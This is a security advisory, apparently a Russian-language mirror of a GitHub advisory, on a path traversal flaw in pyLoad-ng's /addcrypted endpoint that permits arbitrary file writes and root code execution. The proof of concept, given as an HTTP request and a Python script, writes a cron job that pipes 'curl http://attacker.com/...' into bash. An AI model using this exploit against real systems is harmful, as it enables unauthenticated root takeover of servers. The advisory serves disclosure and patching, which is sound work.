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GHSA-48rp-jc79-2264

Опубликовано: 04 авг. 2025
Источник: github
Github: Прошло ревью
CVSS3: 9.8

Описание

pyLoad CNL Blueprint allows Path Traversal through dlc_path which leads to Remote Code Execution (RCE)

Summary

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

  • Endpoint: POST /addcrypted
  • Issue: src/pyload/webui/app/blueprints/cnl_blueprint.py

Vulnerable Code

dlc_path = os.path.join( dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlc_path, mode="wb") as fp:

PoC

POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107 package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

import requests, base64 payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode() requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 })

Impact

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

Пакеты

Наименование

pyload-ng

pip
Затронутые версииВерсия исправления

<= 0.5.0b3.dev89

0.5.0b3.dev90

EPSS

Процентиль: 64%
0.00487
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-22

Связанные уязвимости

CVSS3: 9.8
nvd
около 1 месяца назад

pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.

CVSS3: 9.8
debian
около 1 месяца назад

pyLoad is the free and open-source Download Manager written in pure Py ...

EPSS

Процентиль: 64%
0.00487
Низкий

9.8 Critical

CVSS3

Дефекты

CWE-22